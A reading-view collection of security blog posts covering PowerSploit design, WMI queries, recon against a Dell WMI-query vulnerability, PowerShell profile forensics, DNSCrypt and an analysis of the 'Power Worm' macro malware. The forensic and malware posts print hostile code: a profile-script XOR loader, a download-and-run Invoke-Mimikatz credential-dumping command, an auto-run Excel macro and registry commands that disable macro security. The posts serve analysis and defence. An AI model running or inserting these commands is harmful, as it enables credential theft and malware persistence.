Reading view

There are new articles available, click to refresh the page.

Offensive Tool Design and the Weaponization Dilemma

With the impending reboot of PowerSploit, partly commissioned by my new employer (Veris Group - Adaptive Threat Division), I’ve been writing a lot of new PowerShell code and refactoring some old code all while attempting to apply more formal software development practices – behavior driven development with Pester being a major example. Now, just to make things clear, I am not a formally trained software engineer. I’ve worked with some very bright ones however, and they instilled in me many formal development principles. PowerSploit has come a long way from its humble beginning as a horribly written shellcode runner to where it is now – still leaving much to be desired, in my opinion. Regardless, as with all code you’ve written, you look back at your old code and become disgusted with your former self.

As PowerSploit has grown and matured ever so slowly, I began to formalize how I thought offensive PowerShell code should be written – in other words, being mindful of the ease of weaponization and ease of use for the end-user pentester or red teamer. For example, I’ve asked the following of those wanting to commit new code to PowerSploit:

  1. Code should be designed to be modular: i.e. functionality should be encapsulated in the form of a function, not a script. Scripts are designed to be executed from disk – something we want to avoid as attackers.
  2. I strongly emphasized that code should be self-contained: i.e. weaponized code should not be in the business of resolving dependencies. This makes sense to a point. If you’re going to execute a PowerShell payload from a simple download cradle, what you download needs to contain the entire payload that you want to execute. As a result, most code in PowerSploit is categorized appropriately and grouped logically into single psm1 files that can be easily staged via a download cradle.

Recently, I’ve been a little harder on myself wanting to simplify code and what has resulted is what I think warrants a discussion on the trade-offs of software design and weaponization. As a perfect example, I removed Metasploit payload support from Invoke-Shellcode. Why? Because I think a function should do one thing and do it well. People have used Invoke-Shellcode extensively with the built-in Metasploit support and I know some will be upset. Here was my rationale in making that decision:

  1. I only supported 32-bit HTTP and HTTPS meterpreter stagers. Metasploit contains so many more payloads that I could have supported but then I would have had to maintain all of them. I don’t want that job.
  2. The Metasploit support was simple in practice. I simply downloaded the staged payload and executed the shellcode as a byte array. But my question was: why should Invoke-Shellcode be downloading anything? Shouldn’t it just execute shellcode? After all, Invoke-WebRequest is built-in to PowerShell and it’s proxy aware! Also, there’s a million different mechanisms by which you might want to obtain a shellcode payload – DNS TXT records, UDP, etc.
  3. Metasploit payloads can easily be generated with msfvenom.

Another design consideration involves code like Invoke-Mimikatz. Invoke-Mimikatz, loved by many, is a glorified wrapper around Invoke-ReflectivePEInjection – an amazing in-memory PE loader. There are several functions in PowerSploit that utilize Invoke-ReflectivePEInjection and it’s a huge maintenance headache when updates need to be made to Invoke-ReflectivePEInjection because there are at least three other functions that embed Invoke-ReflectivePEInjection that need to be updated too.

So here’s my personal pitch: I would advocate that all functions serve one single purpose and serve that single purpose well and that dependencies should be maintained separately. For example, rather than embedding Invoke-ReflectivePEInjection in InvokeMimkatz, it should call Invoke-ReflectivePEInjection and annotate Invoke-ReflectivePEInjection as a dependency (a practice I’ve implemented for a long time). Naturally, the problem with that approach would result in a more concerted weaponization effort. A red team operator would need to make sure that all dependencies were included in their intended payload – a potential operational headache. Empire modules can easily resolve these dependencies though by automatically declaring and combining dependencies which would be completely transparent to an operator. So Empire is a great example of weaponization done right all while enabling a developer like myself to separate out and simplify the logic in my attack tools.

So in my mind, the debate comes down to the following two arguments:

  1. Modularize everything. A function/cmdlet should do one thing and do it well. Dependency resolution would then be a requirement for weaponization.
  2. Package everything together so that users can immediately start using your offensive toolset without having to worry about stitching together an arbitrary list of dependencies.

As one of the primary devs of PowerSploit, I make the argument for #1 for the following reasons:

  1. Make my life easier, people! :P
  2. I feel that operators should have the flexibility of mixing and matching the functionality (or weaving a tapestry of evil, if you will ;) ) that they want to use. This does require more extensive knowledge of the language they’re using though – in this case, PowerShell.
  3. It makes code easier to maintain and easier for external contributions.
  4. Regarding PowerSploit specifically, my vision for it is that it should be a suite of tools to enable operators to pick, choose, and deploy the functionality they want. I prefer that PowerSploit not focus on weaponization because you have mature platforms like Empire and Cobalt Strike that already aim to solve that problem.

All that said, I hope I can open up a good dialog on the virtues of offensive software development and weaponization. Obviously, such a topic doesn’t apply to just PowerShell so I’d love to hear the opinions of those coping with my same struggles.

WMI object correlation using ASSOCIATORS OF

tl;dr

While this post isn’t directly related to infosec, infosec pros who work with WMI should take note as there are some powerful queries that could be performed for both offense and defense. The point of this post is to shed some light on ASSOCIATORS OF and show how powerful connections can be made between related WMI objects.


Until recently, I found the ASSOCIATORS OF WMI query language statement to be very confusing. I understood it in theory – it links one “associated” WMI object with another. A lot of articles on the subject will use the following canonical example showing related objects to a Win32_LogicalDisk instance where its DeviceID is “C:”:

ASSOCIATORS OF {Win32_LogicalDisk.DeviceID="C:"}

This query returns an instance of a Win32_Directory, Win32_ComputerSystem, and Win32_DiskPartition. Okay. That’s great and all but where did you come up with the DeviceID property as a requirement and how can I know what classes might be associated with Win32_LogicalDisk? It’s those questions that I feel existing articles never commented on. That said, allow me to explain.

Let’s say I’m interested in finding WMI classes that might be related (i.e. associators of) to CIM_DataFile. For example, one attribute that I find lacking in CIM_DataFile is file ownership and ACL information. Let’s see if we can maybe obtain that information. First, I’ll get a CIM_DataFile instance of a file I’m interested in – C:\foo.txt

PS C:\> Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"' | Format-List *


PSComputerName        : TESTPC
Status                : OK
Name                  : c:\foo.txt
__GENUS               : 2
__CLASS               : CIM_DataFile
__SUPERCLASS          : CIM_LogicalFile
__DYNASTY             : CIM_ManagedSystemElement
__RELPATH             : CIM_DataFile.Name="c:\\foo.txt"
__PROPERTY_COUNT      : 33
__DERIVATION          : {CIM_LogicalFile, CIM_LogicalElement,
                        CIM_ManagedSystemElement}
__SERVER              : TESTPC
__NAMESPACE           : root\cimv2
__PATH                : \\TESTPC\root\cimv2:CIM_DataFile.Name="c:\\foo
                        .txt"
AccessMask            : 1179817
Archive               : True
Caption               : c:\foo.txt
Compressed            : False
CompressionMethod     :
CreationClassName     : CIM_LogicalFile
CreationDate          : 20151204080026.605819-480
CSCreationClassName   : Win32_ComputerSystem
CSName                : TESTPC
Description           : c:\foo.txt
Drive                 : c:
EightDotThreeFileName : c:\foo.txt
Encrypted             : False
EncryptionMethod      :
Extension             : txt
FileName              : foo
FileSize              : 13
FileType              : Text Document
FSCreationClassName   : Win32_FileSystem
FSName                : NTFS
Hidden                : False
InstallDate           : 20151204080026.605819-480
InUseCount            :
LastAccessed          : 20151204080026.749820-480
LastModified          : 20151204080026.751820-480
Manufacturer          :
Path                  : \
Readable              : True
System                : False
Version               :
Writeable             : True
Scope                 : System.Management.ManagementScope
Options               : System.Management.ObjectGetOptions
ClassPath             : \\TESTPC\root\cimv2:CIM_DataFile
Properties            : {AccessMask, Archive, Caption, Compressed...}
SystemProperties      : {__GENUS, __CLASS, __SUPERCLASS, __DYNASTY...}
Qualifiers            : {dynamic, Locale, provider, UUID}
Site                  :
Container             :


You can quickly determine which property to use as a “key” in an ASSOCIATORS OF query by looking at the __RELPATH property which is showing the Name property as our key.

So now I want to know what classes are associated with my CIM_DataFile instance. The following query will return class definitions instead of the associated object instances:

PS C:\> Get-WmiObject -Query 'ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
Win32_Directory                     {TakeOwnerShip, C... {AccessMask, Archiv...
Win32_LogicalFileSecuritySetting    {GetSecurityDescr... {Caption, ControlFl...

So we now know that there are two classes associated with Cim_DataFile – Win32_Directory and Win32_LogicalFileSecuritySetting. If you look at the MSDN documentation for Win32_LogicalFileSecuritySetting, you’ll see that its GetSecurityDescriptor method will return the ACL for the file. Great!

I can now run the following query and get the associated Win32_Directory and Win32_LogicalFileSecuritySetting class instances:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"}

But let’s say I’m only interested in returning instances of type Win32_LogicalFileSecuritySetting? The following query will get the job done:

ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile

So you may now be wondering, “Where did Win32_SecuritySettingOfLogicalFile come from???”

In order to constrain an association query to a particular type of class instance, you must specify the association class that links the two classes together. You can get the association class by using the REFERENCES OF statement:

PS C:\> Get-WmiObject -Query 'REFERENCES OF {Cim_DataFile.Name="C:\\foo.txt"} WHERE ClassDefsOnly'


   NameSpace: ROOT\cimv2

Name                                Methods              Properties           
----                                -------              ----------           
CIM_DirectoryContainsFile           {}                   {GroupComponent, Pa...
Win32_SecuritySettingOfLogicalFile  {}                   {Element, Setting}   


So now you can see where the association class came from.

Finally, let’s tie everything together and retrieve the following info from foo.txt – file owner, full path, file size, and MAC times.

$CimDataFile = Get-WmiObject CIM_DataFile -Filter 'Name="C:\\foo.txt"'

$FileSecuritySetting = Get-WmiObject -Query "ASSOCIATORS OF {CIM_DataFile.Name=`"$($CimDataFile.Name.Replace('\','\\'))`"} WHERE AssocClass=Win32_SecuritySettingOfLogicalFile"

$FileACL = $FileSecuritySetting.GetSecurityDescriptor().Descriptor

$FileOwner = "{0}\{1}" -f $FileACL.Owner.Domain, $FileACL.Owner.Name

$Modified = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastModified)
$Accessed = [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.LastAccessed)
$Created =  [Management.ManagementDateTimeConverter]::ToDateTime($CimDataFile.CreationDate)

$DocProperties = [Ordered] @{
    FileOwner = $FileOwner
    FullPath = $CimDataFile.Name
    FileSize = $CimDataFile.FileSize
    Modified = $Modified
    Accessed = $Accessed
    Created = $Created
}

New-Object PSObject -Property $DocProperties

FileOwner : BUILTIN\Administrators
FullPath  : c:\foo.txt
FileSize  : 13
Modified  : 12/4/2015 8:00:26 AM
Accessed  : 12/4/2015 8:00:26 AM
Created   : 12/4/2015 8:00:26 AM

So I hope that helps explain things a little bit better with regard to ASSOCIATORS OF. Personally, after figuring out what I did, I was still left wondering, “How could I enumerate all association classes and list out the classes they link?” After poking around with the WMI schema a bit, I came up with the following quick and dirty PSv3 script to do just that:

function Get-AssociatedClassRelationship {
    param (
        [String]
        $Namespace = 'root/cimv2'
    )

    Get-CimClass -Namespace $Namespace | ? { $_.CimClassQualifiers['Association'] -and (-not $_.CimClassQualifiers['Abstract']) } | % {
        $KeyQualifiers = @($_.CimClassProperties | ? { $_.Qualifiers['key'] })

        if ($KeyQualifiers.Count -eq 2) {
            $Properties = [Ordered] @{
                AssociationClassName = $_.CimClassName
                LinkedClassName1 = $KeyQualifiers[0].ReferenceClassName
                LinkedClassName2 = $KeyQualifiers[1].ReferenceClassName
            }

            New-Object PSObject -Property $Properties
        }
    }
}

So now, hopefully you’re armed with just enough information to begin forming association queries as well as discovering which associations exist!

Thoughts on Exploiting a Remote WMI Query Vulnerability

On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.


I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained within Dell.Tribbles.Agent.Plugins.SystemInfo.dll.


So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?


PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class'


What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalf and Carlos Perez:


File listing for a specific directory. e.g. C:\ or search by extension

SELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\"

SELECT * FROM CIM_DataFile WHERE Extension="xlsx"


Process listing (including command-line invocation which could possibly include credentials)

SELECT * FROM Win32_Process


List all services

SELECT * FROM Win32_Service


Account/group enumeration

SELECT * FROM Win32_Account

SELECT * FROM Win32_UserAccount

SELECT * FROM Win32_Group

SELECT * FROM Win32_LoggedOnUser


List startup programs present in the

 registry and Start Menu

SELECT * FROM Win32_StartupCommand


OS/Hardware info

SELECT * FROM Win32_BIOS

SELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc.

SELECT * FROM Win32_OperatingSystem


Hard disk enumeration

SELECT * FROM Win32_DiskDrive

SELECT * FROM Win32_DiskPartition

SELECT * FROM Win32_LogicalDisk

SELECT * FROM Win32_Volume

SELECT * FROM Win32_MountPoint


List system environment variables

SELECT * FROM Win32_Environment


List network devices and configurations

SELECT * FROM Win32_NetworkAdapter

SELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPs


List mapped shares

SELECT * FROM Win32_Share


Obviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with:


Ping sweep. This could be used to conduct basic internal scanning.

SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1"


SELECT * FROM Win32_Product


List installed patches. i.e. Determine which patches are not installed.

SELECT * FROM Win32_QuickFixEngineering


Dump event logs. e.g. dump System log. This is the most sensitive info leak I can think of.

SELECT * FROM Win32_NtLogEvent WHERE Logfile="System"



If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter!

Investigating Subversive PowerShell Profiles

With PowerShell attacks on the rise, it is important that incident responders be aware of exactly how PowerShell code is executed on a victim system. Once such aspect of code execution is the PowerShell profile - a script that executes upon loading powershell.exe or powershell_ise.exe. This is a place where an attacker could possibly insert subversive code that executes every time PowerShell is started. Consider the following hypothetical scenario:

You're investigating an organization who was smart and has command-line auditing enabled on all hosts. They captured the following suspected malicious invocation of powershell.exe:

powershell.exe -WindowStyle Hidden -EncodedCommand GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA==

The PowerShell expert you are knows that base64 encoded commands provided via the –EncodedCommand parameter are Unicode encoded strings. You run the following PowerShell code to decode the command and to your surprise, find that the provided command decodes to an unintelligible string.

$EncodedCommand = 'GTAqRW04DBt9OhAPIBUdTB4QBksSEwsvPBwXCzFfRyg/AhwJKhcNPyQHGwsiXk4EJAECFn9ZRh4xAlwCLAIBGTIAAQA3FQYCJBAcEWsVBgF/JR0SIAQ6BDUZHigkEAANfyUdEiAEOhw8GhsRahsIHyQQAEoADg8FPAEABDEfBgJ/PBwTKh0MQR0cHwwuFx0WfgUBVGJfUiU+Ax0OIFskBT0cGQQxDElBFAAfFQYEDAgjVQ5FCgMdQRYcHgBlVE1EdDAcE38iLCEAXC4KMAIZGSRbBh0xVA=='
$CommandBytes = [Convert]::FromBase64String($EncodedCommand)
$DecodedCommand = [Text.Encoding]::Unicode.GetString($CommandBytes)
# This will decode to an unintelligible string
$DecodedCommand

Well, time to wrap up this part of the investigation. This couldn't possibly execute. Clearly the attacker doesn’t know how to properly encode their malicious PowerShell command, right??? Or... could the attacker be hiding something we don’t know? Can PowerShell execute anything beyond what was provided at the command line? Absolutely – a profile script!

If PowerShell is not invoked with the –NoProfile switch, it will execute profile scripts in the following order:

1) AllUsersAllHosts
2) AllUsersCurrentHost
3) CurrentUserAllHosts
4) CurrentUserCurrentHost

Depending upon how PowerShell was started – normal invocation, WoW64, Integrated Scripting Environment (ISE), profile scripts can be loaded from any of the following locations:

AllUsersAllHosts
%windir%\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersAllHosts (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE)
%windir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
AllUsersCurrentHost (WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
AllUsersCurrentHost (ISE - WoW64)
%windir%\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
CurrentUserAllHosts
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
CurrentUserCurrentHost (ISE)
%homedrive%%homepath%\[My ]Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1

Now knowing this, you search the hard drive image for the existence of any of those files and find the following PowerShell code in %windir%\System32\WindowsPowerShell\v1.0\profile.ps1:

$CommandLine = (Get-WmiObject Win32_Process -Filter "ProcessID = $PID").CommandLine

$Base64PayloadRegex = '-(?i:enc).* (?<EncodedPayload>([A-Za-z0-9\+/])+={0,2})'

if ($CommandLine -match $Base64PayloadRegex) {
    $EncodedPayload = $Matches['EncodedPayload']

    $EncodedPayloadBytes = [Convert]::FromBase64String($EncodedPayload)

    $XorKey = 'PureEvil'
    $KeyBytes = [Text.Encoding]::ASCII.GetBytes($XorKey)

    $DecodedBytes = New-Object Byte[]($EncodedPayloadBytes.Length)

    for ($i = 0; $i -lt $EncodedPayloadBytes.Length; $i++) {
        $DecodedBytes[$i] = $EncodedPayloadBytes[$i] -bxor ($KeyBytes[($i % $KeyBytes.Length)])
    }

    $DecodedPayload = [Text.Encoding]::ASCII.GetString($DecodedBytes)

    Invoke-Expression -Command $DecodedPayload
}

Uh oh. It looks as if the attacker was relying upon an investigator overlooking the PowerShell profile. This code takes the base64 encoded argument, XOR decodes it, then executes it. Therefore, the encoded command provided at the command line indeed would have executed and it would have decoded to the following:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds | Out-File "$($Env:TEMP)\output.txt"

The moral of the story: when investigating PowerShell attacks, be sure to pull all profile scripts from an infected system.

Thanks to Oisin Grehen (@oising) for pointing me to where I could obtain the command line input of the currently running PowerShell process!

References:
1) Understanding the Six PowerShell Profiles
2) Windows PowerShell Profiles

Encrypting and Viewing DNS Connections Using DNSCrypt for Windows

For a while now, I’ve been using DNSCrypt – A local DNS resolver that encrypts and forwards requests to an upstream DNS server. This is both a strong defense against man-in-the-middle attacks and a decent privacy guard on insecure networks.

I just wanted to quickly share with you how I configure it as both a DNS forwarder and logger.
You can download DNSCrypt for Windows here and either compile from source or use the pre-built dnscrypt-proxy.exe within the bin directory. I renamed the bin directory to DNSCrypt and copied it to Program Files. dnscrypt-proxy.exe is pretty straightforward and well documented.

You can either run it as a standalone executable or install it as a service. When running it in standalone mode, I execute the following:

dnscrypt-proxy.exe -R "opendns" -L "C:\PROGRA~2\DNSCrypt\dnscrypt-resolvers.csv" --plugin=C:\PROGRA~2\DNSCrypt\plugins\dnscrypt-logger.dll,C:\PROGRA~2\DNSCrypt\dns.csv

I selected the "opendns" resolver and I’m running a modified version of the logger plugin (libdcplugin_example_logging.dll) included in the plugins directory. I modified it to output a CSV file consisting of the domain name resolved, the resolution type (A, AAAA, etc.), and the UTC datetime when the resolution occurred. This allows me to easily consume the log and automate analysis of my DNS queries. You can download the modified logger plugin from my GitHub repo. Finally, you need to set your DNS IP address to 127.0.0.1.

For easily toggling the DNS IP addresses of my network adapters from localhost to being automatically assigned, I wrote this PowerShell v3 script that I keep in my profile.ps1:
Personally, I run DNSCrypt as a service. Installation is pretty simple. Just append --install to the command-line invocation from an elevated prompt:

dnscrypt-proxy.exe -R "opendns" -L "C:\PROGRA~2\DNSCrypt\dnscrypt-resolvers.csv" --plugin=C:\PROGRA~2\DNSCrypt\plugins\dnscrypt-logger.dll,C:\PROGRA~2\DNSCrypt\dns.csv --install

It will tell you that you may need to modify some registry settings. The only one I needed to add was the Plugins value to indicate the path to the desired plugin and any optional arguments. When you’re done modifying registry settings, restart the service, and you’re good to go.

Configured service settings

Once everything is up and running with my logger plugin, I can easily view every DNS resolution made. I wrote a simple PowerShell function to make viewing the DNS log mindless:
Parsed DNS log

.NET Method Internals - Common Intermediate Language (CIL) Basics

For those who have had the privilege of reverse engineering heavily obfuscated .NET code, you've probably encountered cases where your decompiler of choice completely fails (or even crashes in an epic fashion) upon attempting to decompile certain methods. Decompilation failure is often one of the intended goals of .NET obfuscator developers. Fortunately, all of the decompiler utilities are also disassemblers and it is exceedingly rare that your tool of choice will fail to disassemble an unruly method. In the cases where you're forced to work with a disassembled method, a basic understanding of .NET bytecode - i.e. Common Intermediate Language (CIL) is required.

Nearly all .NET methods are comprised of an array of CIL instructions and arguments to the instructions. These instructions are all thoroughly documented. CIL instructions manipulate values on what is referred to as the evaluation stack. CIL instructions can push values onto the stack, pop them off the stack, and perform operations on the values at the top off the stack. Let's see this in action. For this example, we're going to analyze a .NET method that implements a bitwise right circular shift - System.Security.Cryptography.SHA256Managed.RotateRight(uint x, int n).

Here is the decompiled method as seen in ILSpy:


This method takes two arguments - a uint32 (x) which represents the value to be rotated and an int32 (n) which represents the number of rotations to perform. For those unfamiliar with the bitwise rotate operation, please read about it here. Since there is no .NET rotate right operator, the code above is the logical equivalent.

Now, let's assume for a moment that the decompiler failed to decompile the method. In that case, change C# in the language tab to IL in ILSpy. You'll be presented with the following CIL disassembly listing:


Before delving into the CIL instructions, there are some additional properties described in the disassembly that were hidden to you in the decompiled output:

1) cil managed

This indicates that the method is implemented with CIL instructions and that "the body of the method is not defined, but is produced by the runtime." - ECMA-335

2) RVA 0x152A65

The relative virtual address of the method in the DLL or EXE that implements the method - i.e. location of the method within the DLL or EXE.

3) .maxstack 8

Specifies the maximum number of elements required on the evaluation stack during the execution of the method.
This number is emitted by the compiler and is required by the .NET runtime. Note: this value can be higher than what is actually required. As we will see, this method actually only requires four stack slots.

4) Code size 17 (0x11)

The total size of all CIL instructions and arguments.

What's interesting in the disassembly is the presence of binary and instructions which are not present in the decompiled output. As you will see, and'ing the shift value (n) by 31 (0x1F) compensates for when the shift value is larger than 31 (the size, in bits on a uint32 minus 1). In our example, we will perform the following operation: 8 ROR 33 which is the equivalent of 8 ROR 1 (32 + 1). The binary and operations serve to convert values greater than 31 to their equivalent value that lies between 0 and 31.

Now, lets validate that when executed, 8 ROR 33 and 8 ROR 1 generate the same result - 4. Since RotateRight is a Nonpublic (i.e. private) method, we'll need to use reflection to invoke it In PowerShell.

$SHA256Managed = [IntPtr].Assembly.GetType('System.Security.Cryptography.SHA256Managed')
$BindingFlags = [Reflection.BindingFlags] 'NonPublic, Static'
$ROR = $SHA256Managed.GetMethod('RotateRight', $BindingFlags)
$ROR.Invoke($null, @([UInt32] 8, 1))
$ROR.Invoke($null, @([UInt32] 8, 33))


They do indeed result in the same value, as expected.

Let's step through each CIL instruction, observing the effect of each instruction on the evaluation stack.


For more information on CIL and .NET internals, I highly recommend you check out the following:
  1. ECMA C# and Common Language Infrastructure Standards
  2. OpCodes Class
  3. The Common Language Infrastructure Annotated Standard
  4. Metaprogramming in .NET

PowerShell Summit 2014

Yesterday, I gave two presentations at the PowerShell Summit. The first presentation was on advanced eventing techniques in PowerShell and the second was on using PowerShell as a reverse engineering tool. As it turns out, PowerShell is an awesome tool for automating the analysis of .NET malware samples. I’ve included the slides for each talk. Additionally, you can download all of my demo code here. Just be mindful that this is all PoC code so it’s not in a well-polished state. Note: I provided the MD5 hashes of the malware samples but I won’t be providing a direct download link for them. Enjoy!


As a security professional, attending the PowerShell Summit is a great opportunity for me to meet and mingle with those outside of the security field as it forces me to get out of my security bubble and gain a completely different perspective from a wide range of IT pros and developers who are using PowerShell for completely non-malicious purposes ;)! Not to mention, getting to pick the brains of Microsoft employees like Jeffrey Snover, Lee Holmes, Jason Shirk, and Joe Bialek is humbling to say the least.






Analyzing the "Power Worm" PowerShell-based Malware

On March 27, 2014, Trend Micro revealed the so called “Power Worm” PowerShell-based malware that is actively being used in the wild. With so few publicly reported instances of PowerShell malware in existence, I was excited to get my hands on this most recent strain of PowerShell-based malware. Unable to track it down on my own, I reached out to the security and PowerShell communities. It was with great relief that my friend Lee Holmes – PowerShell developer extraordinaire and author of the Windows PowerShell Cookbook kindly provided me with all of the samples described in the Trend Micro post.

While the Trend Micro post was thorough in its coverage of the broader capabilities of the malware, they did not provide an analysis of its implementation which, as a PowerShell enthusiast and malware analyst, I was very interested in. That said, what follows is my analysis of the mechanics of the Office document infecting malware. Since there were multiple payloads associated with “Power Worm.” I decided to focus on the X97M_CRIGENT.A payload – a malicious Excel spreadsheet.

The targeted Excel macro used in the "Power Worm" campaign

The spreadsheet contains the following macro:

Private Sub Workbook_Open()
b = "JwBDAEkREDACTEDREDACTED" _
& "QA7ACcAcgREDACTEDREDACTED" _
& "BzACgAKQAREDACTEDREDACTED" _
& "jAGUAIAAtREDACTEDREDACTED" _
& "ACAAUwB5AREDACTEDREDACTED" _
& "GcALgBpAGREDACTEDREDACTED" _
& "4AIAAtAGEREDACTEDREDACTED" _
& "AdAAuAHAAREDACTEDREDACTED"
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub

People have asked, “Wouldn’t the PowerShell execution policy potentially mitigate this attack?” No. First of all, the execution policy should not be viewed as a security mitigation considering PowerShell itself provides the mechanism to bypass it. Second, the execution policy is not honored when a Base64 encoded command is provided to the ‘-EncodedCommand’ parameter. Malware authors know this and will never run into a situation where the execution policy is the reason their malicious PowerShell code was prevented from executing. Having macros disabled by default prevents the initial infection, but all it takes is a naïve victim to click a single button to enable macros.

The ‘Workbook_Open’ function will execute automatically upon opening an Excel spreadsheet (assuming macros are allowed to execute). After decoding the Base64-encoded PowerShell command, you will be presented with an obfuscated mess consisting of the following:

  1. The payload is a single line of semicolon delimited PowerShell commands.
  2. Junk strings that have no impact on the script are inserted between each command.
  3. All variables and function names are randomly generated and have no logical meaning.
  4. Lastly, some functions used in the script are not implemented until a subsequent payload is downloaded from the command and control (C2) server.

I rewrote all of the “Power Worm” malware (redacting key portions) that I was able to obtain so that those interested don’t have to be bogged down with difficult to understand obfuscated code. I also created a PowerWorm GitHub repo where you will find the following code:

  1. The rewritten X97M_CRIGENT.A PowerShell payloads (5 parts in total)
  2. Test-PowerWormInfection – Detects and removes a “Power Worm” infection
  3. Get-ExcelMacro – Outputs and removes Excel spreadsheet macros
  4. Get-WordMacro – Outputs and removes Word document macros

As soon as the macro executes and launches PowerShell, the following code is executed:


  1. Suppress error messages.
  2. Obtain the machine GUID with WMI. This unique value specific to your system is used throughout the malware as a directory name to store downloaded files, registry key names where additional payload are persisted, and as a unique identifier for the C2 server.
  3. Next, If the malware is already persistent in the registry, don’t bother running the payload again. It will execute again at next reboot.
  4. Define a function to resolve DNS TXT records and download and decompress a zip file located at the URI in the resolved TXT record. Both Tor and Polipo are downloaded via this function.
  5. Mark the downloaded file directory as hidden.

The next portion of the payload executes tor and polipo, a requirement for communicating with the C2 server and downloads and executes the next stage of the attack:


For those unfamiliar with common malware techniques, what should be worrisome about the fact that additional PowerShell code is downloaded and executed is that the malware authors have complete control over the downloaded content. The analysis that follows describes the instance of the malware that I downloaded. The malware authors could very well change the payload at any time.

The downloaded payload starts by persisting three additional Base64-encoded payloads to the registry.


The Trend Micro article neglected to mention the two payloads saved in the registry at the following locations:

HKCU:\Software\Microsoft -> {Machine GUID}0
HKCU:\Software\Microsoft -> {Machine GUID}1

$EncodedPayload1 and $EncodedPayload2 are essentially equivalent to the initial payload included in the Excel macro – they serve to reinfect the system and download/execute any additional payloads. $EncodedPayload3 contains all the logic to infect Office documents.

The malware then collects information about the compromised system and uploads it to the C2 server. 


Finally, the Office document infection functions are called and if an additional payload is available, it is executed. I was unable to retrieve the additional payload during my analysis.


The Office document infection payload implements the following functions:

  1. Start-NewDriveInfection – Registers a WMI event that detects when a new drive is added (e.g. USB thumb drive) and infects all Office documents present on the drive
  2. Invoke-OfficeDocInfection – Infects all Office documents on the drive letter specified
  3. Start-ExistingDriveInfection – Registers a FileSystemWatcher event to detect and infect newly created Office documents
  4. Set-OfficeDocPayload – Adds a macro to the specified Office document
  5. New-MaliciousMacroPayload – Generates a macro based upon one of the payloads present in the registry
  6. Set-ExcelDocumentMacroPayload – Infects an Excel spreadsheet
  7. Set-WordDocumentMacroPayload – Infects a Word document

In order to programmatically create/modify/remove Excel and Word macros, macro security must be disabled in the registry with these commands:

Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name AccessVBOM -Type DWORD -Value 1
Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name VBAWarnings -Type DWORD -Value 1 

After the registry values are set, you will no longer be prompted to enable macros. They will execute automatically without your knowledge. Also, be mindful that if a macro is present in an Office document and you attempt to analyze it with the Word.Application and Excel.Application COM objects, the macro security settings are not honored and the macro will execute without your permission. Before opening an Office document with the COM objects, you must explicitly disallow the execution of macros by setting the ‘AutomationSecurity’ property to ‘msoAutomationSecurityForceDisable’.

The Word document infector is implemented as follows:


What’s interesting is that once the macro is written to the Word document, it is downgraded to a ‘macro-enabled’ .doc file.

Once a document or spreadsheet is infected, it will download and execute another PowerShell payload. I was unable to successfully download any additional payloads during my analysis. Either I was not emulating C2 communication properly or the payload was not made available at the time.

